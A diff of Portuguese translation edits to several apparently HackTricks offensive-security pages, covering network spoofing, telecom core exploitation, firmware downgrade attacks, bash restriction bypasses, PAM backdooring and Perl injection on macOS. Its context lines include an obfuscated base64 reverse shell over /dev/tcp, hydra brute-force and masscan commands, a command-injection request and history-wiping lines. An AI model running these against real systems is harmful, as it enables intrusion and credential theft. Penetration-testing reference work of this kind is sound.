+### [Spoofing LLMNR, NBT-NS, e mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
 
 Para resolução de host local quando as consultas DNS falham, sistemas Microsoft dependem de **Link-Local Multicast Name Resolution (LLMNR)** e do **NetBIOS Name Service (NBT-NS)**. Da mesma forma, **Apple Bonjour** e implementações de **Linux zero-configuration** utilizam **Multicast DNS (mDNS)** para descobrir sistemas dentro de uma rede. Devido à natureza não autenticada desses protocolos e sua operação sobre UDP, transmitindo mensagens, eles podem ser explorados por atacantes que visam redirecionar usuários para serviços maliciosos.
 
@@ -648,13 +648,13 @@ Os navegadores comumente utilizam o **protocolo Web Proxy Auto-Discovery (WPAD)
 - Por **DNS**, que envolve a busca por um nome de host rotulado como _wpad_ dentro do domínio local.
 - Via **Microsoft LLMNR e NBT-NS**, que são mecanismos de fallback usados em casos onde as consultas DNS não têm sucesso.
 
-A ferramenta Responder aproveita esse protocolo agindo como um **servidor WPAD malicioso**. Ela utiliza DHCP, DNS, LLMNR e NBT-NS para enganar os clientes a se conectarem a ela. Para se aprofundar em como os serviços podem ser impersonados usando Responder [verifique isso](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
+A ferramenta Responder aproveita esse protocolo atuando como um **servidor WPAD malicioso**. Ela utiliza DHCP, DNS, LLMNR e NBT-NS para enganar os clientes a se conectarem a ela. Para se aprofundar em como os serviços podem ser impersonados usando Responder [verifique isso](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
 
-### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md)
+### [Spoofing SSDP e dispositivos UPnP](spoofing-ssdp-and-upnp-devices.md)
 
-Você pode oferecer diferentes serviços na rede para tentar **enganar um usuário** a inserir algumas **credenciais em texto simples**. **Mais informações sobre este ataque em** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.**
+Você pode oferecer diferentes serviços na rede para tentar **enganar um usuário** a inserir algumas **credenciais em texto simples**. **Mais informações sobre este ataque em** [**Spoofing SSDP e Dispositivos UPnP**](spoofing-ssdp-and-upnp-devices.md)**.**
 
-### IPv6 Neighbor Spoofing
+### Spoofing de Vizinhança IPv6
 
 Este ataque é muito semelhante ao ARP Spoofing, mas no mundo IPv6. Você pode fazer a vítima pensar que o IPv6 do GW tem o MAC do atacante.
 ```bash
@@ -671,7 +671,7 @@ fake_router6 wlan0 fe80::01/16
 ```
 ### Spoofing DHCP IPv6
 
-Por padrão, alguns sistemas operacionais tentam configurar o DNS lendo um pacote DHCPv6 na rede. Assim, um atacante poderia enviar um pacote DHCPv6 para se configurar como DNS. O DHCP também fornece um IPv6 para a vítima.
+Por padrão, alguns sistemas operacionais tentam configurar o DNS lendo um pacote DHCPv6 na rede. Então, um atacante poderia enviar um pacote DHCPv6 para se configurar como DNS. O DHCP também fornece um IPv6 para a vítima.
 ```bash
 dhcp6.spoof on
 dhcp6.spoof.domains <list of domains>
@@ -704,7 +704,7 @@ Note que, para realizar este ataque, a vítima deve tentar acessar inicialmente
 
 Mais informações [aqui](https://www.bettercap.org/legacy/#hsts-bypass), [aqui](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) e [aqui](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
 
-**sslStrip ou sslStrip+ não funcionam mais. Isso ocorre porque existem regras HSTS pré-salvas nos navegadores, então mesmo que seja a primeira vez que um usuário acesse um domínio "importante", ele o acessará via HTTPS. Além disso, note que as regras pré-salvas e outras regras geradas podem usar a flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **então o exemplo de** _**wwww.facebook.com**_ **de antes não funcionará mais, pois** _**facebook.com**_ **usa HSTS com `includeSubdomains`.**
+**sslStrip ou sslStrip+ não funcionam mais. Isso ocorre porque existem regras HSTS pré-salvas nos navegadores, então mesmo que seja a primeira vez que um usuário acesse um domínio "importante", ele o fará via HTTPS. Além disso, note que as regras pré-salvas e outras regras geradas podem usar a flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **então o** _**wwww.facebook.com**_ **exemplo de antes não funcionará mais, pois** _**facebook.com**_ **usa HSTS com `includeSubdomains`.**
 
 TODO: easy-creds, evilgrade, metasploit, factory
 
@@ -774,7 +774,7 @@ Pacotes ARP são usados para descobrir quais IPs estão sendo utilizados dentro
 
 ### **mDNS (DNS multicast)**
 
-Bettercap envia uma solicitação MDNS (a cada X ms) perguntando por **\_services\_.dns-sd.\_udp.local**. A máquina que vê este pacote geralmente responde a essa solicitação. Então, ela apenas procura por máquinas que respondem a "services".
+Bettercap envia uma solicitação MDNS (a cada X ms) perguntando por **\_services\_.dns-sd.\_udp.local**. A máquina que vê este pacote geralmente responde a essa solicitação. Em seguida, ela apenas procura por máquinas que respondem a "services".
 
 **Ferramentas**
 

src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md

@@ -3,7 +3,7 @@
 {{#include ../../banners/hacktricks-training.md}}
 
 > [!NOTE]
-> Protocolos de núcleo móvel (GPRS Tunnelling Protocol – GTP) frequentemente atravessam backbones de roaming GRX/IPX semi-confiáveis.  Como eles utilizam UDP simples com quase nenhuma autenticação, **qualquer ponto de acesso dentro de um perímetro de telecomunicações geralmente pode alcançar diretamente os planos de sinalização do núcleo**.  As seguintes notas coletam truques ofensivos observados na prática contra SGSN/GGSN, PGW/SGW e outros nós EPC.
+> Protocolos de núcleo móvel (GPRS Tunnelling Protocol – GTP) frequentemente atravessam backbones de roaming GRX/IPX semi-confiáveis.  Como eles utilizam UDP simples com quase nenhuma autenticação, **qualquer ponto de acesso dentro de um perímetro de telecomunicações geralmente pode alcançar diretamente os planos de sinalização central**.  As seguintes notas coletam truques ofensivos observados na prática contra SGSN/GGSN, PGW/SGW e outros nós EPC.
 
 ## 1. Recon & Acesso Inicial
 
@@ -12,10 +12,10 @@ Um conjunto surpreendentemente grande de elementos de rede de fornecedores vem c
 ```bash
 hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
 ```
-Se o dispositivo expuser apenas um VRF de gerenciamento, faça um pivot através de um jump host primeiro (veja a seção «SGSN Emu Tunnel» abaixo).
+Se o dispositivo expuser apenas um VRF de gerenciamento, faça um pivot através de um host de salto primeiro (veja a seção «SGSN Emu Tunnel» abaixo).
 
-### 1.2  Descoberta de Hosts dentro do GRX/IPX
-A maioria dos operadores de GRX ainda permite **ICMP echo** através da backbone. Combine `masscan` com as sondas UDP `gtpv1` integradas para mapear rapidamente os ouvintes GTP-C:
+### 1.2  Descoberta de Host dentro do GRX/IPX
+A maioria dos operadores de GRX ainda permite **ICMP echo** através da espinha dorsal. Combine `masscan` com as sondas UDP `gtpv1` integradas para mapear rapidamente os ouvintes GTP-C:
 ```bash
 masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
 ```
@@ -118,7 +118,7 @@ rm -f /tmp/sh ; history -c
 ```
 ## 8. Ferramentas
 
-* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – ferramentas personalizadas descritas em seções anteriores.
+* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – ferramentas personalizadas descritas nas seções anteriores.
 * `FScan` : varreduras TCP de intranet (`fscan -p 22,80,443 10.0.0.0/24`)
 * `Responder` : LLMNR/NBT-NS WPAD malicioso
 * `Microsocks` + `ProxyChains` : pivotagem leve SOCKS5
@@ -126,10 +126,10 @@ rm -f /tmp/sh ; history -c
 
 ---
 ## Ideias de Detecção
-1. **Qualquer dispositivo diferente de um SGSN/GGSN estabelecendo Solicitações de Criação de Contexto PDP**.
+1. **Qualquer dispositivo que não seja um SGSN/GGSN estabelecendo Solicitações de Criação de Contexto PDP**.
 2. **Portas não padrão (53, 80, 443) recebendo handshakes SSH** de IPs internos.
-3. **Solicitações de Eco frequentes sem Respostas de Eco correspondentes** – podem indicar sinais de GTPDoor.
-4. **Alta taxa de tráfego de resposta de eco ICMP com campos de identificador/sequência grandes e não zero**.
+3. **Solicitações de Eco frequentes sem Respostas de Eco correspondentes** – podem indicar sinais do GTPDoor.
+4. **Alta taxa de tráfego de resposta de eco ICMP com campos de identificador/sequência grandes e não nulos**.
 
 ## Referências
 

src/hardware-physical-access/firmware-analysis/README.md

@@ -23,7 +23,7 @@ Para esse propósito, ferramentas de **inteligência de código aberto (OSINT)**
 
 ## **Adquirindo o Firmware**
 
-Obter firmware pode ser abordado de várias maneiras, cada uma com seu próprio nível de complexidade:
+Obter firmware pode ser abordado por vários meios, cada um com seu próprio nível de complexidade:
 
 - **Diretamente** da fonte (desenvolvedores, fabricantes)
 - **Construindo** a partir de instruções fornecidas
@@ -61,7 +61,7 @@ Ou [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive
 ### Obtendo o Sistema de Arquivos
 
 Com as ferramentas comentadas anteriormente, como `binwalk -ev <bin>`, você deve ter conseguido **extrair o sistema de arquivos**.\
-O Binwalk geralmente o extrai dentro de uma **pasta nomeada como o tipo de sistema de arquivos**, que geralmente é um dos seguintes: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
+O binwalk geralmente o extrai dentro de uma **pasta nomeada como o tipo de sistema de arquivos**, que geralmente é um dos seguintes: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
 
 #### Extração Manual do Sistema de Arquivos
 
@@ -148,7 +148,7 @@ Com o sistema de arquivos extraído, a busca por falhas de segurança começa. A
 
 - **etc/shadow** e **etc/passwd** para credenciais de usuário
 - Certificados e chaves SSL em **etc/ssl**
-- Arquivos de configuração e scripts para potenciais vulnerabilidades
+- Arquivos de configuração e scripts em busca de vulnerabilidades potenciais
 - Binários incorporados para análise adicional
 - Servidores web e binários comuns de dispositivos IoT
 
@@ -180,7 +180,7 @@ E para instalar as ferramentas de emulação necessárias:
 ```bash
 sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
 ```
-Para MIPS (big-endian), `qemu-mips` é utilizado, e para binários little-endian, `qemu-mipsel` seria a escolha.
+Para MIPS (big-endian), `qemu-mips` é usado, e para binários little-endian, `qemu-mipsel` seria a escolha.
 
 #### Emulação da Arquitetura ARM
 
@@ -188,15 +188,15 @@ Para binários ARM, o processo é semelhante, com o emulador `qemu-arm` sendo ut
 
 ### Emulação de Sistema Completo
 
-Ferramentas como [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) e outras, facilitam a emulação completa de firmware, automatizando o processo e ajudando na análise dinâmica.
+Ferramentas como [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) e outras, facilitam a emulação completa de firmware, automatizando o processo e auxiliando na análise dinâmica.
 
 ## Análise Dinâmica na Prática
 
-Nesta fase, um ambiente de dispositivo real ou emulado é utilizado para análise. É essencial manter acesso ao shell do sistema operacional e ao sistema de arquivos. A emulação pode não imitar perfeitamente as interações de hardware, necessitando reinicializações ocasionais da emulação. A análise deve revisitar o sistema de arquivos, explorar páginas da web expostas e serviços de rede, e investigar vulnerabilidades do bootloader. Testes de integridade do firmware são críticos para identificar potenciais vulnerabilidades de backdoor.
+Nesta fase, um ambiente de dispositivo real ou emulado é usado para análise. É essencial manter acesso ao shell do sistema operacional e ao sistema de arquivos. A emulação pode não imitar perfeitamente as interações de hardware, necessitando de reinicializações ocasionais da emulação. A análise deve revisitar o sistema de arquivos, explorar páginas da web expostas e serviços de rede, e investigar vulnerabilidades do bootloader. Testes de integridade do firmware são críticos para identificar potenciais vulnerabilidades de backdoor.
 
 ## Técnicas de Análise em Tempo de Execução
 
-A análise em tempo de execução envolve interagir com um processo ou binário em seu ambiente operacional, utilizando ferramentas como gdb-multiarch, Frida e Ghidra para definir pontos de interrupção e identificar vulnerabilidades através de fuzzing e outras técnicas.
+A análise em tempo de execução envolve interagir com um processo ou binário em seu ambiente operacional, usando ferramentas como gdb-multiarch, Frida e Ghidra para definir pontos de interrupção e identificar vulnerabilidades por meio de fuzzing e outras técnicas.
 
 ## Exploração Binária e Prova de Conceito
 
@@ -219,13 +219,13 @@ Fluxo de ataque típico:
 
 1. **Obter uma imagem assinada mais antiga**
 * Pegue-a do portal de download público do fornecedor, CDN ou site de suporte.
-* Extraia-a de aplicativos móveis/escrita acompanhantes (por exemplo, dentro de um APK Android sob `assets/firmware/`).
+* Extraia-a de aplicativos móveis/escrita acompanhantes (por exemplo, dentro de um APK Android em `assets/firmware/`).
 * Recupere-a de repositórios de terceiros, como VirusTotal, arquivos da Internet, fóruns, etc.
 2. **Carregar ou servir a imagem para o dispositivo** através de qualquer canal de atualização exposto:
 * UI da Web, API de aplicativo móvel, USB, TFTP, MQTT, etc.
 * Muitos dispositivos IoT de consumo expõem endpoints HTTP(S) *não autenticados* que aceitam blobs de firmware codificados em Base64, decodificam-nos no lado do servidor e acionam a recuperação/atualização.
 3. Após o downgrade, explore uma vulnerabilidade que foi corrigida na versão mais nova (por exemplo, um filtro de injeção de comando que foi adicionado posteriormente).
-4. Opcionalmente, grave a imagem mais recente de volta ou desative atualizações para evitar detecção uma vez que a persistência seja obtida.
+4. Opcionalmente, grave a imagem mais recente de volta ou desative as atualizações para evitar detecção uma vez que a persistência seja obtida.
 
 ### Exemplo: Injeção de Comando Após Downgrade
 ```http
@@ -234,7 +234,7 @@ Host: 192.168.0.1
 Content-Type: application/octet-stream
 Content-Length: 0
 ```
-No firmware vulnerável (rebaixado), o parâmetro `md5` é concatenado diretamente em um comando de shell sem sanitização, permitindo a injeção de comandos arbitrários (aqui – habilitando o acesso root baseado em chave SSH). Versões posteriores do firmware introduziram um filtro básico de caracteres, mas a ausência de proteção contra rebaixamento torna a correção irrelevante.
+No firmware vulnerável (rebaixado), o parâmetro `md5` é concatenado diretamente em um comando shell sem sanitização, permitindo a injeção de comandos arbitrários (aqui – habilitando o acesso root baseado em chave SSH). Versões posteriores do firmware introduziram um filtro básico de caracteres, mas a ausência de proteção contra rebaixamento torna a correção irrelevante.
 
 ### Extraindo Firmware de Aplicativos Móveis
 
@@ -248,11 +248,11 @@ firmware_v1.3.11.490_signed.bin
 
 * O transporte/autenticação do *endpoint de atualização* está adequadamente protegido (TLS + autenticação)?
 * O dispositivo compara **números de versão** ou um **contador anti-rollback monotônico** antes de gravar?
-* A imagem é verificada dentro de uma cadeia de inicialização segura (por exemplo, assinaturas verificadas pelo código ROM)?
-* O código do espaço do usuário realiza verificações adicionais de sanidade (por exemplo, mapa de partição permitido, número do modelo)?
+* A imagem é verificada dentro de uma cadeia de boot seguro (por exemplo, assinaturas verificadas pelo código ROM)?
+* O código do userland realiza verificações adicionais de sanidade (por exemplo, mapa de partição permitido, número do modelo)?
 * Os fluxos de atualização *parciais* ou *de backup* reutilizam a mesma lógica de validação?
 
-> 💡  Se algum dos itens acima estiver ausente, a plataforma provavelmente é vulnerável a ataques de rollback.
+> 💡  Se algum dos itens acima estiver faltando, a plataforma provavelmente é vulnerável a ataques de rollback.
 
 ## Firmware Vulnerável para Prática
 

src/linux-hardening/bypass-bash-restrictions/README.md

@@ -10,7 +10,7 @@
 echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
 # echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
 ```
-### Shell Rev curta
+### Rev shell curto
 ```bash
 #Trick from Dikline
 #Get a rev shell with
@@ -18,7 +18,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|
 #Then get the out of the rev shell executing inside of it:
 exec >&0
 ```
-### Bypass Paths e palavras proibidas
+### Bypass Paths and forbidden words
 ```bash
 # Question mark binary substitution
 /usr/bin/p?ng # /usr/bin/ping
@@ -133,14 +133,14 @@ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
 ```bash
 time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
 ```
-### Obtendo caracteres de variáveis de ambiente
+### Obtendo caracteres de Variáveis de Ambiente
 ```bash
 echo ${LS_COLORS:10:1} #;
 echo ${PATH:0:1} #/
 ```
 ### Exfiltração de dados DNS
 
-Você pode usar **burpcollab** ou [**pingb**](http://pingb.in) como exemplo.
+Você pode usar **burpcollab** ou [**pingb**](http://pingb.in) por exemplo.
 
 ### Builtins
 
@@ -310,7 +310,7 @@ bypass-fs-protections-read-only-no-exec-distroless/
 
 ## NOP Sled Baseado em Espaço ("Bashsledding")
 
-Quando uma vulnerabilidade permite que você controle parcialmente um argumento que, em última instância, chega a `system()` ou outro shell, você pode não saber o deslocamento exato em que a execução começa a ler sua carga útil. Sleds NOP tradicionais (por exemplo, `\x90`) **não** funcionam na sintaxe do shell, mas o Bash ignorará inofensivamente espaços em branco à frente antes de executar um comando.
+Quando uma vulnerabilidade permite que você controle parcialmente um argumento que, em última análise, chega a `system()` ou outro shell, você pode não saber o deslocamento exato em que a execução começa a ler sua carga útil. Sleds NOP tradicionais (por exemplo, `\x90`) **não** funcionam na sintaxe do shell, mas o Bash ignorará inofensivamente espaços em branco à frente antes de executar um comando.
 
 Portanto, você pode criar um *NOP sled para Bash* prefixando seu comando real com uma longa sequência de espaços ou caracteres de tabulação:
 ```bash

src/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md

@@ -39,18 +39,18 @@ Os controles ditam a resposta do módulo ao sucesso ou falha, influenciando o pr
 
 - **Required**: A falha de um módulo requerido resulta em falha eventual, mas somente após todos os módulos subsequentes serem verificados.
 - **Requisite**: Término imediato do processo em caso de falha.
-- **Sufficient**: O sucesso ignora as demais verificações do mesmo reino, a menos que um módulo subsequente falhe.
+- **Sufficient**: O sucesso ignora as verificações do restante do mesmo reino, a menos que um módulo subsequente falhe.
 - **Optional**: Causa falha apenas se for o único módulo na pilha.
 
-#### Exemplo de Cenário
+#### Cenário de Exemplo
 
-Em uma configuração com múltiplos módulos de autenticação, o processo segue uma ordem rigorosa. Se o módulo `pam_securetty` encontrar o terminal de login não autorizado, logins de root são bloqueados, mas todos os módulos ainda são processados devido ao seu status de "required". O `pam_env` define variáveis de ambiente, potencialmente ajudando na experiência do usuário. Os módulos `pam_ldap` e `pam_unix` trabalham juntos para autenticar o usuário, com `pam_unix` tentando usar uma senha fornecida anteriormente, aumentando a eficiência e flexibilidade nos métodos de autenticação.
+Em uma configuração com múltiplos módulos de auth, o processo segue uma ordem rigorosa. Se o módulo `pam_securetty` encontrar o terminal de login não autorizado, logins de root são bloqueados, mas todos os módulos ainda são processados devido ao seu status de "required". O `pam_env` define variáveis de ambiente, potencialmente ajudando na experiência do usuário. Os módulos `pam_ldap` e `pam_unix` trabalham juntos para autenticar o usuário, com `pam_unix` tentando usar uma senha fornecida anteriormente, aumentando a eficiência e flexibilidade nos métodos de autenticação.
 
 ## Backdooring PAM – Hooking `pam_unix.so`
 
-Um truque clássico de persistência em ambientes Linux de alto valor é **trocar a biblioteca PAM legítima por um drop-in trojanizado**. Como cada login SSH / console acaba chamando `pam_unix.so:pam_sm_authenticate()`, algumas linhas de C são suficientes para capturar credenciais ou implementar um bypass de senha *mágico*.
+Um truque clássico de persistência em ambientes Linux de alto valor é **trocar a biblioteca PAM legítima por uma versão trojanizada**. Como cada login SSH / console acaba chamando `pam_unix.so:pam_sm_authenticate()`, algumas linhas de C são suficientes para capturar credenciais ou implementar um bypass de senha *mágico*.
 
-### Compilação Cheatsheet
+### Cheatsheet de Compilação
 ```c
 #define _GNU_SOURCE
 #include <security/pam_modules.h>

src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md

@@ -60,7 +60,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Verificar acesso ao modprobe
 #### **`/proc/sys/fs/binfmt_misc`**
 
 - Permite registrar interpretadores para formatos binários não nativos com base em seu número mágico.
-- Pode levar a escalonamento de privilégios ou acesso a shell root se `/proc/sys/fs/binfmt_misc/register` for gravável.
+- Pode levar à escalada de privilégios ou acesso ao shell root se `/proc/sys/fs/binfmt_misc/register` for gravável.
 - Exploit relevante e explicação:
 - [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
 - Tutorial detalhado: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
@@ -84,19 +84,19 @@ echo b > /proc/sysrq-trigger # Reinicializa o host
 #### **`/proc/kmsg`**
 
 - Expõe mensagens do buffer de anel do kernel.
-- Pode ajudar em exploits de kernel, vazamentos de endereços e fornecer informações sensíveis do sistema.
+- Pode ajudar em exploits do kernel, vazamentos de endereços e fornecer informações sensíveis do sistema.
 
 #### **`/proc/kallsyms`**
 
 - Lista símbolos exportados do kernel e seus endereços.
-- Essencial para o desenvolvimento de exploits de kernel, especialmente para superar KASLR.
-- Informações de endereço são restritas com `kptr_restrict` definido como `1` ou `2`.
+- Essencial para o desenvolvimento de exploits do kernel, especialmente para superar KASLR.
+- As informações de endereço são restritas com `kptr_restrict` definido como `1` ou `2`.
 - Detalhes em [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
 
 #### **`/proc/[pid]/mem`**
 
-- Interfaces com o dispositivo de memória do kernel `/dev/mem`.
-- Historicamente vulnerável a ataques de escalonamento de privilégios.
+- Interage com o dispositivo de memória do kernel `/dev/mem`.
+- Historicamente vulnerável a ataques de escalada de privilégios.
 - Mais em [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
 
 #### **`/proc/kcore`**
@@ -199,17 +199,17 @@ metadata:
     app: pentest  
 spec:  
   containers:  
-  - name: pod-mounts-var-folder  
-    image: alpine  
-    volumeMounts:  
-    - mountPath: /host-var  
-      name: noderoot  
-    command: [ "/bin/sh", "-c", "--" ]  
-    args: [ "while true; do sleep 30; done;" ]  
+    - name: pod-mounts-var-folder  
+      image: alpine  
+      volumeMounts:  
+        - mountPath: /host-var  
+          name: noderoot  
+      command: [ "/bin/sh", "-c", "--" ]  
+      args: [ "while true; do sleep 30; done;" ]  
   volumes:  
-  - name: noderoot  
-    hostPath:  
-      path: /var
+    - name: noderoot  
+      hostPath:  
+        path: /var
 ```
 
 Inside the **pod-mounts-var-folder** container:

src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md

@@ -1,10 +1,10 @@
-# macOS Perl Applications Injection
+# Injeção de Aplicações Perl no macOS
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Via `PERL5OPT` & `PERL5LIB` env variable
+## Através da variável de ambiente `PERL5OPT` & `PERL5LIB`
 
-Usando a variável de ambiente **`PERL5OPT`** é possível fazer com que **Perl** execute comandos arbitrários quando o interpretador inicia (mesmo **antes** da primeira linha do script alvo ser analisada).
+Usando a variável de ambiente **`PERL5OPT`**, é possível fazer com que **Perl** execute comandos arbitrários quando o interpretador inicia (mesmo **antes** da primeira linha do script alvo ser analisada).
 Por exemplo, crie este script:
 ```perl:test.pl
 #!/usr/bin/perl
@@ -35,11 +35,11 @@ export PERL5DB='system("/bin/zsh")'
 sudo perl -d /usr/bin/some_admin_script.pl   # irá abrir um shell antes de executar o script
 ```
 
-* **`PERL5SHELL`** – no Windows, essa variável controla qual executável de shell o Perl usará quando precisar criar um shell. Ela é mencionada aqui apenas para completude, pois não é relevante no macOS.
+* **`PERL5SHELL`** – no Windows, essa variável controla qual executável de shell o Perl usará quando precisar criar um shell. É mencionada aqui apenas para completude, pois não é relevante no macOS.
 
-Embora `PERL5DB` exija a switch `-d`, é comum encontrar scripts de manutenção ou instaladores que são executados como *root* com essa flag ativada para solução de problemas detalhada, tornando a variável um vetor de escalonamento válido.
+Embora `PERL5DB` exija a opção `-d`, é comum encontrar scripts de manutenção ou instaladores que são executados como *root* com essa flag ativada para solução de problemas detalhada, tornando a variável um vetor de escalonamento válido.
 
-## Via dependências (@INC abuse)
+## Via dependências (abuso de @INC)
 
 É possível listar o caminho de inclusão que o Perl irá buscar (**`@INC`**) executando:
 ```bash
@@ -66,7 +66,7 @@ Por exemplo, se um script estiver importando **`use File::Basename;`**, seria po
 
 ## Bypass do SIP via Assistente de Migração (CVE-2023-32369 “Migraine”)
 
-Em maio de 2023, a Microsoft divulgou **CVE-2023-32369**, apelidada de **Migraine**, uma técnica de pós-exploração que permite a um atacante *root* **burlar completamente a Proteção de Integridade do Sistema (SIP)**. O componente vulnerável é **`systemmigrationd`**, um daemon intitulado com **`com.apple.rootless.install.heritable`**. Qualquer processo filho gerado por esse daemon herda a concessão e, portanto, é executado **fora** das restrições do SIP.
+Em maio de 2023, a Microsoft divulgou **CVE-2023-32369**, apelidado de **Migraine**, uma técnica de pós-exploração que permite a um atacante *root* **burlar completamente a Proteção de Integridade do Sistema (SIP)**. O componente vulnerável é **`systemmigrationd`**, um daemon intitulado com **`com.apple.rootless.install.heritable`**. Qualquer processo filho gerado por esse daemon herda a concessão e, portanto, é executado **fora** das restrições do SIP.
 
 Entre os filhos identificados pelos pesquisadores está o interpretador assinado pela Apple:
 ```

src/macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md

@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Remote Access Services
+## Serviços de Acesso Remoto
 
 Estes são os serviços comuns do macOS para acessá-los remotamente.\
 Você pode habilitar/desabilitar esses serviços em `System Settings` --> `Sharing`
@@ -32,20 +32,20 @@ Para habilitar o ARD para várias tarefas administrativas, como escalonamento de
 ```bash
 sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes
 ```
-ARD fornece níveis de controle versáteis, incluindo observação, controle compartilhado e controle total, com sessões persistindo mesmo após mudanças de senha do usuário. Permite o envio de comandos Unix diretamente, executando-os como root para usuários administrativos. O agendamento de tarefas e a pesquisa remota do Spotlight são recursos notáveis, facilitando pesquisas remotas de baixo impacto para arquivos sensíveis em várias máquinas.
+ARD fornece níveis de controle versáteis, incluindo observação, controle compartilhado e controle total, com sessões persistindo mesmo após mudanças de senha do usuário. Permite o envio de comandos Unix diretamente, executando-os como root para usuários administrativos. O agendamento de tarefas e a pesquisa remota do Spotlight são recursos notáveis, facilitando buscas remotas de baixo impacto por arquivos sensíveis em várias máquinas.
 
 #### Vulnerabilidades recentes de Compartilhamento de Tela / ARD (2023-2025)
 
 | Ano | CVE | Componente | Impacto | Corrigido em |
 |-----|-----|------------|---------|--------------|
-|2023|CVE-2023-42940|Compartilhamento de Tela|Renderização de sessão incorreta poderia causar a transmissão da *mesa de trabalho* ou janela *errada*, resultando em vazamento de informações sensíveis|macOS Sonoma 14.2.1 (Dez 2023) |
-|2024|CVE-2024-23296|launchservicesd / login|Bypass de proteção de memória do kernel que pode ser encadeado após um login remoto bem-sucedido (explorado ativamente na natureza)|macOS Ventura 13.6.4 / Sonoma 14.4 (Mar 2024) |
+|2023|CVE-2023-42940|Compartilhamento de Tela|Renderização de sessão incorreta poderia causar a transmissão da *tela* ou janela *errada*, resultando em vazamento de informações sensíveis|macOS Sonoma 14.2.1 (Dez 2023) |
+|2024|CVE-2024-23296|launchservicesd / login|Bypass de proteção de memória do kernel que pode ser encadeado após um login remoto bem-sucedido (explorado ativamente na prática)|macOS Ventura 13.6.4 / Sonoma 14.4 (Mar 2024) |
 
 **Dicas de Hardening**
 
 * Desative *Compartilhamento de Tela*/*Gerenciamento Remoto* quando não for estritamente necessário.
 * Mantenha o macOS totalmente atualizado (a Apple geralmente envia correções de segurança para as três últimas versões principais).
-* Use uma **Senha Forte** *e* aplique a opção *“visualizadores VNC podem controlar a tela com senha”* **desativada** sempre que possível.
+* Use uma **Senha Forte** *e* aplique a opção *“Os visualizadores VNC podem controlar a tela com senha”* **desativada** sempre que possível.
 * Coloque o serviço atrás de uma VPN em vez de expor TCP 5900/3283 à Internet.
 * Adicione uma regra de Firewall de Aplicação para limitar `ARDAgent` à sub-rede local:
 
@@ -76,7 +76,7 @@ A descoberta de serviços dentro da rede é facilitada pelo **DNS Service Discov
 
 A utilidade `dns-sd` pode ser empregada para **descobrir e anunciar serviços de rede**. Aqui estão alguns exemplos de seu uso:
 
-### Buscando Serviços SSH
+### Buscando por Serviços SSH
 
 Para buscar serviços SSH na rede, o seguinte comando é utilizado:
 ```bash

src/mobile-pentesting/android-app-pentesting/android-applications-basics.md

@@ -25,8 +25,8 @@ A partir do Android 5.0(L), o **SELinux** é aplicado. Basicamente, o SELinux ne
 
 ### Permissões
 
-Quando você instala um **app e ele pede permissões**, o app está solicitando as permissões configuradas nos elementos **`uses-permission`** no arquivo **AndroidManifest.xml**. O elemento **uses-permission** indica o nome da permissão solicitada dentro do **atributo name**. Ele também possui o atributo **maxSdkVersion** que impede a solicitação de permissões em versões superiores à especificada.\
-Observe que as aplicações android não precisam solicitar todas as permissões no início, elas também podem **pedir permissões dinamicamente**, mas todas as permissões devem ser **declaradas** no **manifesto**.
+Quando você instala um **app e ele pede permissões**, o app está solicitando as permissões configuradas nos elementos **`uses-permission`** no arquivo **AndroidManifest.xml**. O elemento **uses-permission** indica o nome da permissão solicitada dentro do **atributo name**. Ele também possui o atributo **maxSdkVersion** que para de solicitar permissões em versões superiores à especificada.\
